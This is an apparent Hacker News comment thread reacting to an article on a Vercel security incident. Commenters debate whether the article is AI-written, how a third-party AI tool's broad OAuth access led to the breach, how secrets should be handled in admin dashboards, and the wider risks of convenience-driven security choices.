I dont have an llm-radar like you but I felt some anxiety reading through it. Cant explain why but the logic was not linear and this strained me as a reader. It didnt have the obvious llm-isms i see on youtube videos "not this but that". My natural instinct is to make sense of what I read, and if presented with a word-salad, it strains me. What are the empty LLMisms so my radar can be calibrated ? These are some giveaways I could spot.
> The timeline is genuinely absurd
> The timeline sequence description (Feb/March/April) is abstract and does not depict specifics reflecting human understanding.
So I believe the author has exposure to the issue and interest in understanding it, that’s more than AI alone has got.
The thing that concerns me is that even at a site like HN, where a lot of people are very familiar with LLMs, it seems to be passing.
I hate to think this will become the norm but it's not the first HN linked post that's gotten a lot of earnest engagement despite being AI generated (or partly AI generated).
I'm very comfortable with AI generated code, if the humans involved are doing due diligence, but I really dislike the idea of LLM generated prose taking over more and more of the front page.
And yes, I agree with you: it's sad seeing LLM-generated slop taking over the front page. I (possibly naively) hope that this trend starts reversing itself sometime soon, as HN is a valuable resource for me to discover new and fascinating things.
And I thought it was bad when my son got compromised by a Roblox cheat, but they only they grabbed his Gamepass cookies and bought 4 Minecraft licenses, which MS quickly refunded...
Feels like the employee pulled a LastPass Plex move.
It’s not a competitive platform like say WoW or overwatch; nobody is really there to win and there are zero stakes if you do or don’t.
Great read
If I don't see asterisks, I'm not hitting save on the field with a secret in it. Maybe they were setting them programmatically? They should definitely still be looking to pass some kind of a secret flag, though. This is a weird problem for a company like Vercel to have.
In an admin ui, you list the names of secrets only, and provide a “reveal” or a “replace” on each one. They are never decrypted unless explicitly asked for.
Is this perfect? Absolutely not. The key is controlled by the company, but it can be derived in a manner that doesn’t allow for the dump of everything if it’s leaked.
(Of course there are tons of other red flags not looked at in the article, eg. how does an employees machine get access to production systems and from there access to customers connected with oauth and how does the attacker get to env vars from a google workspace account)
Failed to verify your browser Code 11 Vercel Security Checkpoint, arn1::1776759703-rtDgRAtRyXvjD4IoU4RbqvkGmvQQCP7H
Gah.
Initially, we identified a limited subset of customers whose Vercel credentials were compromised. We reached out to that subset and recommended that they rotate their credentials immediately.
At this time, we do not have reason to believe that your Vercel credentials or personal data have been compromised.
Tools that sit in the middle (like Context.ai) end up becoming a pretty large attack surface without feeling like one.
My son even asked me just the other day why I don’t have Roblox on the Mac….yeah stuff like this is why.
The cheat contains an infostealer.
> March 2026. The attacker uses Context.ai's compromised infrastructure to pivot into a Vercel employee's Google Workspace account. This Vercel employee had signed up for Context.ai's "AI Office Suite" using their enterprise credentials and granted "Allow All" permissions. Let that sink in for a second. A Vercel engineer gave a third-party AI tool full access to their corporate Google account.
I swear this AI 'boom' is melting people's brains and zombifying them like Toxoplasma gondii[1] does to rodents, making them do risky things that ultimately get them eaten (or hacked...).
[1] https://en.wikipedia.org/wiki/Toxoplasma_gondii
It's almost like the denials were in fact false and Delve truly was just selling a sticker, not providing an actual service.
If I were a VC that had funded Delve for a considerable amount of time, I'd be embarrassed that we did not catch that. I'd probably rework my processes, publicly analyse how this alleged fraud got past me and go far and beyond in disclosing my findings to rebuild trust. I'd most certainly not think just cutting funding is sufficient given the situation. Even more so if I'd encouraged other companies funded by me to use their "services". I'd maybe even reevaluate whether a circular approach wherein our funded companies are incentivised to rely on other also by us funded companies leads to the best options being chosen and whether that isn't antithetical to a forward thinking environment and competition. At the same time, I'd also think that maybe such a setup just hides unsuccessful companies and potentially even alleged fraud which once it gets to the broader market, may cause significant harm...
[0] https://web.archive.org/web/20250918025724/https://trust.del...
[1] https://web.archive.org/web/20260217220817/https://www.conte...
We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv.
We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy.
We'll let AI run that thing for us, because it's just too easy.
A whole generation has grown up without knowing what it was like to infect your computer with AIDS trying to download an MP3, and it shows. That caution will come back, just at a terrible cost.
More generically, our species' Achilles heel is our inability to factor in the long-term cost of negative externalities when evaluating processes that yield short-term positive results.
Vercel April 2026 security incident
https://news.ycombinator.com/item?id=47824463